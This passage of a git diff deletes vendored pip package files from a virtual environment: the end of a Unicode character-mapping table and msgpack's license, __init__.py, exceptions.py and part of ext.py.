-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "ı",
-    "ȷ",
-    None,
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "θ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∇",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∂",
-    "ε",
-    "θ",
-    "κ",
-    "φ",
-    "ρ",
-    "π",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "θ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∇",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∂",
-    "ε",
-    "θ",
-    "κ",
-    "φ",
-    "ρ",
-    "π",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "θ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∇",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∂",
-    "ε",
-    "θ",
-    "κ",
-    "φ",
-    "ρ",
-    "π",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "θ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∇",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∂",
-    "ε",
-    "θ",
-    "κ",
-    "φ",
-    "ρ",
-    "π",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "θ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∇",
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "∂",
-    "ε",
-    "θ",
-    "κ",
-    "φ",
-    "ρ",
-    "π",
-    "ϝ",
-    None,
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "а",
-    "б",
-    "в",
-    "г",
-    "д",
-    "е",
-    "ж",
-    "з",
-    "и",
-    "к",
-    "л",
-    "м",
-    "о",
-    "п",
-    "р",
-    "с",
-    "т",
-    "у",
-    "ф",
-    "х",
-    "ц",
-    "ч",
-    "ш",
-    "ы",
-    "э",
-    "ю",
-    "ꚉ",
-    "ә",
-    "і",
-    "ј",
-    "ө",
-    "ү",
-    "ӏ",
-    "а",
-    "б",
-    "в",
-    "г",
-    "д",
-    "е",
-    "ж",
-    "з",
-    "и",
-    "к",
-    "л",
-    "о",
-    "п",
-    "с",
-    "у",
-    "ф",
-    "х",
-    "ц",
-    "ч",
-    "ш",
-    "ъ",
-    "ы",
-    "ґ",
-    "і",
-    "ѕ",
-    "џ",
-    "ҫ",
-    "ꙑ",
-    "ұ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "𞤢",
-    "𞤣",
-    "𞤤",
-    "𞤥",
-    "𞤦",
-    "𞤧",
-    "𞤨",
-    "𞤩",
-    "𞤪",
-    "𞤫",
-    "𞤬",
-    "𞤭",
-    "𞤮",
-    "𞤯",
-    "𞤰",
-    "𞤱",
-    "𞤲",
-    "𞤳",
-    "𞤴",
-    "𞤵",
-    "𞤶",
-    "𞤷",
-    "𞤸",
-    "𞤹",
-    "𞤺",
-    "𞤻",
-    "𞤼",
-    "𞤽",
-    "𞤾",
-    "𞤿",
-    "𞥀",
-    "𞥁",
-    "𞥂",
-    "𞥃",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ا",
-    "ب",
-    "ج",
-    "د",
-    None,
-    "و",
-    "ز",
-    "ح",
-    "ط",
-    "ي",
-    "ك",
-    "ل",
-    "م",
-    "ن",
-    "س",
-    "ع",
-    "ف",
-    "ص",
-    "ق",
-    "ر",
-    "ش",
-    "ت",
-    "ث",
-    "خ",
-    "ذ",
-    "ض",
-    "ظ",
-    "غ",
-    "ٮ",
-    "ں",
-    "ڡ",
-    "ٯ",
-    None,
-    "ب",
-    "ج",
-    None,
-    "ه",
-    None,
-    "ح",
-    None,
-    "ي",
-    "ك",
-    "ل",
-    "م",
-    "ن",
-    "س",
-    "ع",
-    "ف",
-    "ص",
-    "ق",
-    None,
-    "ش",
-    "ت",
-    "ث",
-    "خ",
-    None,
-    "ض",
-    None,
-    "غ",
-    None,
-    "ج",
-    None,
-    "ح",
-    None,
-    "ي",
-    None,
-    "ل",
-    None,
-    "ن",
-    "س",
-    "ع",
-    None,
-    "ص",
-    "ق",
-    None,
-    "ش",
-    None,
-    "خ",
-    None,
-    "ض",
-    None,
-    "غ",
-    None,
-    "ں",
-    None,
-    "ٯ",
-    None,
-    "ب",
-    "ج",
-    None,
-    "ه",
-    None,
-    "ح",
-    "ط",
-    "ي",
-    "ك",
-    None,
-    "م",
-    "ن",
-    "س",
-    "ع",
-    "ف",
-    "ص",
-    "ق",
-    None,
-    "ش",
-    "ت",
-    "ث",
-    "خ",
-    None,
-    "ض",
-    "ظ",
-    "غ",
-    "ٮ",
-    None,
-    "ڡ",
-    None,
-    "ا",
-    "ب",
-    "ج",
-    "د",
-    "ه",
-    "و",
-    "ز",
-    "ح",
-    "ط",
-    "ي",
-    None,
-    "ل",
-    "م",
-    "ن",
-    "س",
-    "ع",
-    "ف",
-    "ص",
-    "ق",
-    "ر",
-    "ش",
-    "ت",
-    "ث",
-    "خ",
-    "ذ",
-    "ض",
-    "ظ",
-    "غ",
-    None,
-    "ب",
-    "ج",
-    "د",
-    None,
-    "و",
-    "ز",
-    "ح",
-    "ط",
-    "ي",
-    None,
-    "ل",
-    "م",
-    "ن",
-    "س",
-    "ع",
-    "ف",
-    "ص",
-    "ق",
-    "ر",
-    "ش",
-    "ت",
-    "ث",
-    "خ",
-    "ذ",
-    "ض",
-    "ظ",
-    "غ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "0,",
-    "1,",
-    "2,",
-    "3,",
-    "4,",
-    "5,",
-    "6,",
-    "7,",
-    "8,",
-    "9,",
-    None,
-    "(a)",
-    "(b)",
-    "(c)",
-    "(d)",
-    "(e)",
-    "(f)",
-    "(g)",
-    "(h)",
-    "(i)",
-    "(j)",
-    "(k)",
-    "(l)",
-    "(m)",
-    "(n)",
-    "(o)",
-    "(p)",
-    "(q)",
-    "(r)",
-    "(s)",
-    "(t)",
-    "(u)",
-    "(v)",
-    "(w)",
-    "(x)",
-    "(y)",
-    "(z)",
-    "〔s〕",
-    "c",
-    "r",
-    "cd",
-    "wz",
-    None,
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "hv",
-    "mv",
-    "sd",
-    "ss",
-    "ppv",
-    "wc",
-    None,
-    "mc",
-    "md",
-    "mr",
-    None,
-    "dj",
-    None,
-    None,
-    None,
-    "ほか",
-    "ココ",
-    "サ",
-    None,
-    "手",
-    "字",
-    "双",
-    "デ",
-    "二",
-    "多",
-    "解",
-    "天",
-    "交",
-    "映",
-    "無",
-    "料",
-    "前",
-    "後",
-    "再",
-    "新",
-    "初",
-    "終",
-    "生",
-    "販",
-    "声",
-    "吹",
-    "演",
-    "投",
-    "捕",
-    "一",
-    "三",
-    "遊",
-    "左",
-    "中",
-    "右",
-    "指",
-    "走",
-    "打",
-    "禁",
-    "空",
-    "合",
-    "満",
-    "有",
-    "月",
-    "申",
-    "割",
-    "営",
-    "配",
-    None,
-    "〔本〕",
-    "〔三〕",
-    "〔二〕",
-    "〔安〕",
-    "〔点〕",
-    "〔打〕",
-    "〔盗〕",
-    "〔勝〕",
-    "〔敗〕",
-    None,
-    "得",
-    "可",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "丽",
-    "丸",
-    "乁",
-    "𠄢",
-    "你",
-    "侮",
-    "侻",
-    "倂",
-    "偺",
-    "備",
-    "僧",
-    "像",
-    "㒞",
-    "𠘺",
-    "免",
-    "兔",
-    "兤",
-    "具",
-    "𠔜",
-    "㒹",
-    "內",
-    "再",
-    "𠕋",
-    "冗",
-    "冤",
-    "仌",
-    "冬",
-    "况",
-    "𩇟",
-    "凵",
-    "刃",
-    "㓟",
-    "刻",
-    "剆",
-    "割",
-    "剷",
-    "㔕",
-    "勇",
-    "勉",
-    "勤",
-    "勺",
-    "包",
-    "匆",
-    "北",
-    "卉",
-    "卑",
-    "博",
-    "即",
-    "卽",
-    "卿",
-    "𠨬",
-    "灰",
-    "及",
-    "叟",
-    "𠭣",
-    "叫",
-    "叱",
-    "吆",
-    "咞",
-    "吸",
-    "呈",
-    "周",
-    "咢",
-    "哶",
-    "唐",
-    "啓",
-    "啣",
-    "善",
-    "喙",
-    "喫",
-    "喳",
-    "嗂",
-    "圖",
-    "嘆",
-    "圗",
-    "噑",
-    "噴",
-    "切",
-    "壮",
-    "城",
-    "埴",
-    "堍",
-    "型",
-    "堲",
-    "報",
-    "墬",
-    "𡓤",
-    "売",
-    "壷",
-    "夆",
-    "多",
-    "夢",
-    "奢",
-    "𡚨",
-    "𡛪",
-    "姬",
-    "娛",
-    "娧",
-    "姘",
-    "婦",
-    "㛮",
-    "㛼",
-    "嬈",
-    "嬾",
-    "𡧈",
-    "寃",
-    "寘",
-    "寧",
-    "寳",
-    "𡬘",
-    "寿",
-    "将",
-    "当",
-    "尢",
-    "㞁",
-    "屠",
-    "屮",
-    "峀",
-    "岍",
-    "𡷤",
-    "嵃",
-    "𡷦",
-    "嵮",
-    "嵫",
-    "嵼",
-    "巡",
-    "巢",
-    "㠯",
-    "巽",
-    "帨",
-    "帽",
-    "幩",
-    "㡢",
-    "𢆃",
-    "㡼",
-    "庰",
-    "庳",
-    "庶",
-    "廊",
-    "𪎒",
-    "廾",
-    "𢌱",
-    "舁",
-    "弢",
-    "㣇",
-    "𣊸",
-    "𦇚",
-    "形",
-    "彫",
-    "㣣",
-    "徚",
-    "忍",
-    "志",
-    "忹",
-    "悁",
-    "㤺",
-    "㤜",
-    "悔",
-    "𢛔",
-    "惇",
-    "慈",
-    "慌",
-    "慎",
-    "慌",
-    "慺",
-    "憎",
-    "憲",
-    "憤",
-    "憯",
-    "懞",
-    "懲",
-    "懶",
-    "成",
-    "戛",
-    "扝",
-    "抱",
-    "拔",
-    "捐",
-    "𢬌",
-    "挽",
-    "拼",
-    "捨",
-    "掃",
-    "揤",
-    "𢯱",
-    "搢",
-    "揅",
-    "掩",
-    "㨮",
-    "摩",
-    "摾",
-    "撝",
-    "摷",
-    "㩬",
-    "敏",
-    "敬",
-    "𣀊",
-    "旣",
-    "書",
-    "晉",
-    "㬙",
-    "暑",
-    "㬈",
-    "㫤",
-    "冒",
-    "冕",
-    "最",
-    "暜",
-    "肭",
-    "䏙",
-    "朗",
-    "望",
-    "朡",
-    "杞",
-    "杓",
-    "𣏃",
-    "㭉",
-    "柺",
-    "枅",
-    "桒",
-    "梅",
-    "𣑭",
-    "梎",
-    "栟",
-    "椔",
-    "㮝",
-    "楂",
-    "榣",
-    "槪",
-    "檨",
-    "𣚣",
-    "櫛",
-    "㰘",
-    "次",
-    "𣢧",
-    "歔",
-    "㱎",
-    "歲",
-    "殟",
-    "殺",
-    "殻",
-    "𣪍",
-    "𡴋",
-    "𣫺",
-    "汎",
-    "𣲼",
-    "沿",
-    "泍",
-    "汧",
-    "洖",
-    "派",
-    "海",
-    "流",
-    "浩",
-    "浸",
-    "涅",
-    "𣴞",
-    "洴",
-    "港",
-    "湮",
-    "㴳",
-    "滋",
-    "滇",
-    "𣻑",
-    "淹",
-    "潮",
-    "𣽞",
-    "𣾎",
-    "濆",
-    "瀹",
-    "瀞",
-    "瀛",
-    "㶖",
-    "灊",
-    "災",
-    "灷",
-    "炭",
-    "𠔥",
-    "煅",
-    "𤉣",
-    "熜",
-    "𤎫",
-    "爨",
-    "爵",
-    "牐",
-    "𤘈",
-    "犀",
-    "犕",
-    "𤜵",
-    "𤠔",
-    "獺",
-    "王",
-    "㺬",
-    "玥",
-    "㺸",
-    "瑇",
-    "瑜",
-    "瑱",
-    "璅",
-    "瓊",
-    "㼛",
-    "甤",
-    "𤰶",
-    "甾",
-    "𤲒",
-    "異",
-    "𢆟",
-    "瘐",
-    "𤾡",
-    "𤾸",
-    "𥁄",
-    "㿼",
-    "䀈",
-    "直",
-    "𥃳",
-    "𥃲",
-    "𥄙",
-    "𥄳",
-    "眞",
-    "真",
-    "睊",
-    "䀹",
-    "瞋",
-    "䁆",
-    "䂖",
-    "𥐝",
-    "硎",
-    "碌",
-    "磌",
-    "䃣",
-    "𥘦",
-    "祖",
-    "𥚚",
-    "𥛅",
-    "福",
-    "秫",
-    "䄯",
-    "穀",
-    "穊",
-    "穏",
-    "𥥼",
-    "𥪧",
-    "竮",
-    "䈂",
-    "𥮫",
-    "篆",
-    "築",
-    "䈧",
-    "𥲀",
-    "糒",
-    "䊠",
-    "糨",
-    "糣",
-    "紀",
-    "𥾆",
-    "絣",
-    "䌁",
-    "緇",
-    "縂",
-    "繅",
-    "䌴",
-    "𦈨",
-    "𦉇",
-    "䍙",
-    "𦋙",
-    "罺",
-    "𦌾",
-    "羕",
-    "翺",
-    "者",
-    "𦓚",
-    "𦔣",
-    "聠",
-    "𦖨",
-    "聰",
-    "𣍟",
-    "䏕",
-    "育",
-    "脃",
-    "䐋",
-    "脾",
-    "媵",
-    "𦞧",
-    "𦞵",
-    "𣎓",
-    "𣎜",
-    "舁",
-    "舄",
-    "辞",
-    "䑫",
-    "芑",
-    "芋",
-    "芝",
-    "劳",
-    "花",
-    "芳",
-    "芽",
-    "苦",
-    "𦬼",
-    "若",
-    "茝",
-    "荣",
-    "莭",
-    "茣",
-    "莽",
-    "菧",
-    "著",
-    "荓",
-    "菊",
-    "菌",
-    "菜",
-    "𦰶",
-    "𦵫",
-    "𦳕",
-    "䔫",
-    "蓱",
-    "蓳",
-    "蔖",
-    "𧏊",
-    "蕤",
-    "𦼬",
-    "䕝",
-    "䕡",
-    "𦾱",
-    "𧃒",
-    "䕫",
-    "虐",
-    "虜",
-    "虧",
-    "虩",
-    "蚩",
-    "蚈",
-    "蜎",
-    "蛢",
-    "蝹",
-    "蜨",
-    "蝫",
-    "螆",
-    "䗗",
-    "蟡",
-    "蠁",
-    "䗹",
-    "衠",
-    "衣",
-    "𧙧",
-    "裗",
-    "裞",
-    "䘵",
-    "裺",
-    "㒻",
-    "𧢮",
-    "𧥦",
-    "䚾",
-    "䛇",
-    "誠",
-    "諭",
-    "變",
-    "豕",
-    "𧲨",
-    "貫",
-    "賁",
-    "贛",
-    "起",
-    "𧼯",
-    "𠠄",
-    "跋",
-    "趼",
-    "跰",
-    "𠣞",
-    "軔",
-    "輸",
-    "𨗒",
-    "𨗭",
-    "邔",
-    "郱",
-    "鄑",
-    "𨜮",
-    "鄛",
-    "鈸",
-    "鋗",
-    "鋘",
-    "鉼",
-    "鏹",
-    "鐕",
-    "𨯺",
-    "開",
-    "䦕",
-    "閷",
-    "𨵷",
-    "䧦",
-    "雃",
-    "嶲",
-    "霣",
-    "𩅅",
-    "𩈚",
-    "䩮",
-    "䩶",
-    "韠",
-    "𩐊",
-    "䪲",
-    "𩒖",
-    "頋",
-    "頩",
-    "𩖶",
-    "飢",
-    "䬳",
-    "餩",
-    "馧",
-    "駂",
-    "駾",
-    "䯎",
-    "𩬰",
-    "鬒",
-    "鱀",
-    "鳽",
-    "䳎",
-    "䳭",
-    "鵧",
-    "𪃎",
-    "䳸",
-    "𪄅",
-    "𪈎",
-    "𪊑",
-    "麻",
-    "䵖",
-    "黹",
-    "黾",
-    "鼅",
-    "鼏",
-    "鼖",
-    "鼻",
-    "𪘀",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-)
diff --git a/venv/Lib/site-packages/pip/_vendor/msgpack/COPYING b/venv/Lib/site-packages/pip/_vendor/msgpack/COPYING
deleted file mode 100644
index f067af3aae15a5b494f0eeb15a7064c176e30fd5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/msgpack/COPYING
+++ /dev/null
@@ -1,14 +0,0 @@
-Copyright (C) 2008-2011 INADA Naoki 
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
diff --git a/venv/Lib/site-packages/pip/_vendor/msgpack/__init__.py b/venv/Lib/site-packages/pip/_vendor/msgpack/__init__.py
deleted file mode 100644
index f3266b701fb408b481a686845bb4d0d5335c51be..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/msgpack/__init__.py
+++ /dev/null
@@ -1,55 +0,0 @@
-# ruff: noqa: F401
-import os
-
-from .exceptions import *  # noqa: F403
-from .ext import ExtType, Timestamp
-
-version = (1, 1, 2)
-__version__ = "1.1.2"
-
-
-if os.environ.get("MSGPACK_PUREPYTHON"):
-    from .fallback import Packer, Unpacker, unpackb
-else:
-    try:
-        from ._cmsgpack import Packer, Unpacker, unpackb
-    except ImportError:
-        from .fallback import Packer, Unpacker, unpackb
-
-
-def pack(o, stream, **kwargs):
-    """
-    Pack object `o` and write it to `stream`
-
-    See :class:`Packer` for options.
-    """
-    packer = Packer(**kwargs)
-    stream.write(packer.pack(o))
-
-
-def packb(o, **kwargs):
-    """
-    Pack object `o` and return packed bytes
-
-    See :class:`Packer` for options.
-    """
-    return Packer(**kwargs).pack(o)
-
-
-def unpack(stream, **kwargs):
-    """
-    Unpack an object from `stream`.
-
-    Raises `ExtraData` when `stream` contains extra bytes.
-    See :class:`Unpacker` for options.
-    """
-    data = stream.read()
-    return unpackb(data, **kwargs)
-
-
-# alias for compatibility to simplejson/marshal/pickle.
-load = unpack
-loads = unpackb
-
-dump = pack
-dumps = packb
diff --git a/venv/Lib/site-packages/pip/_vendor/msgpack/exceptions.py b/venv/Lib/site-packages/pip/_vendor/msgpack/exceptions.py
deleted file mode 100644
index d6d2615cfdd0b914d064cdf7eecd45761e4bcaf6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/msgpack/exceptions.py
+++ /dev/null
@@ -1,48 +0,0 @@
-class UnpackException(Exception):
-    """Base class for some exceptions raised while unpacking.
-
-    NOTE: unpack may raise exception other than subclass of
-    UnpackException.  If you want to catch all error, catch
-    Exception instead.
-    """
-
-
-class BufferFull(UnpackException):
-    pass
-
-
-class OutOfData(UnpackException):
-    pass
-
-
-class FormatError(ValueError, UnpackException):
-    """Invalid msgpack format"""
-
-
-class StackError(ValueError, UnpackException):
-    """Too nested"""
-
-
-# Deprecated.  Use ValueError instead
-UnpackValueError = ValueError
-
-
-class ExtraData(UnpackValueError):
-    """ExtraData is raised when there is trailing data.
-
-    This exception is raised while only one-shot (not streaming)
-    unpack.
-    """
-
-    def __init__(self, unpacked, extra):
-        self.unpacked = unpacked
-        self.extra = extra
-
-    def __str__(self):
-        return "unpack(b) received extra data."
-
-
-# Deprecated.  Use Exception instead to catch all exception during packing.
-PackException = Exception
-PackValueError = ValueError
-PackOverflowError = OverflowError
diff --git a/venv/Lib/site-packages/pip/_vendor/msgpack/ext.py b/venv/Lib/site-packages/pip/_vendor/msgpack/ext.py
deleted file mode 100644
index 9694819a7df1570ccbb41de065cb7052f9af8e79..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/msgpack/ext.py
+++ /dev/null
@@ -1,170 +0,0 @@
-import datetime
-import struct
-from collections import namedtuple
-
-
-class ExtType(namedtuple("ExtType", "code data")):
-    """ExtType represents ext type in msgpack."""
-
-    def __new__(cls, code, data):
-        if not isinstance(code, int):
-            raise TypeError("code must be int")
-        if not isinstance(data, bytes):
-            raise TypeError("data must be bytes")
-        if not 0 <= code <= 127:
-            raise ValueError("code must be 0~127")
-        return super().__new__(cls, code, data)
-
-
-class Timestamp:
-    """Timestamp represents the Timestamp extension type in msgpack.
-
-    When built with Cython, msgpack uses C methods to pack and unpack `Timestamp`.
-    When using pure-Python msgpack, :func:`to_bytes` and :func:`from_bytes` are used to pack and
-    unpack `Timestamp`.
-
-    This class is immutable: Do not override seconds and nanoseconds.
-    """
-
-    __slots__ = ["seconds", "nanoseconds"]
-
-    def __init__(self, seconds, nanoseconds=0):
-        """Initialize a Timestamp object.
-
-        :param int seconds:
-            Number of seconds since the UNIX epoch (00:00:00 UTC Jan 1 1970, minus leap seconds).
-            May be negative.
-
-        :param int nanoseconds:
-            Number of nanoseconds to add to `seconds` to get fractional time.
-            Maximum is 999_999_999.  Default is 0.
-
-        Note: Negative times (before the UNIX epoch) are represented as neg. seconds + pos. ns.
-        """
-        if not isinstance(seconds, int):
-            raise TypeError("seconds must be an integer")
-        if not isinstance(nanoseconds, int):
-            raise TypeError("nanoseconds must be an integer")
-        if not (0 <= nanoseconds < 10**9):
-            raise ValueError("nanoseconds must be a non-negative integer less than 999999999.")
-        self.seconds = seconds
-        self.nanoseconds = nanoseconds
-
-    def __repr__(self):
-        """String representation of Timestamp."""
-        return f"Timestamp(seconds={self.seconds}, nanoseconds={self.nanoseconds})"
-
-    def __eq__(self, other):
-        """Check for equality with another Timestamp object"""
-        if type(other) is self.__class__:
-            return self.seconds == other.seconds and self.nanoseconds == other.nanoseconds
-        return False
-
-    def __ne__(self, other):
-        """not-equals method (see :func:`__eq__()`)"""
-        return not self.__eq__(other)
-
-    def __hash__(self):
-        return hash((self.seconds, self.nanoseconds))
-
-    @staticmethod
-    def from_bytes(b):
-        """Unpack bytes into a `Timestamp` object.
-
-        Used for pure-Python msgpack unpacking.
-
-        :param b: Payload from msgpack ext message with code -1
-        :type b: bytes
-
-        :returns: Timestamp object unpacked from msgpack ext payload
-        :rtype: Timestamp
-        """
-        if len(b) == 4:
-            seconds = struct.unpack("!L", b)[0]
-            nanoseconds = 0
-        elif len(b) == 8:
-            data64 = struct.unpack("!Q", b)[0]
-            seconds = data64 & 0x00000003FFFFFFFF
-            nanoseconds = data64 >> 34
-        elif len(b) == 12:
-            nanoseconds, seconds = struct.unpack("!Iq", b)
-        else:
-            raise ValueError(
-                "Timestamp type can only be created from 32, 64, or 96-bit byte objects"
-            )
-        return Timestamp(seconds, nanoseconds)
-
-    def to_bytes(self):
-        """Pack this Timestamp object into bytes.
-
-        Used for pure-Python msgpack packing.
-
-        :returns data: Payload for EXT message with code -1 (timestamp type)
-        :rtype: bytes
-        """
-        if (self.seconds >> 34) == 0:  # seconds is non-negative and fits in 34 bits
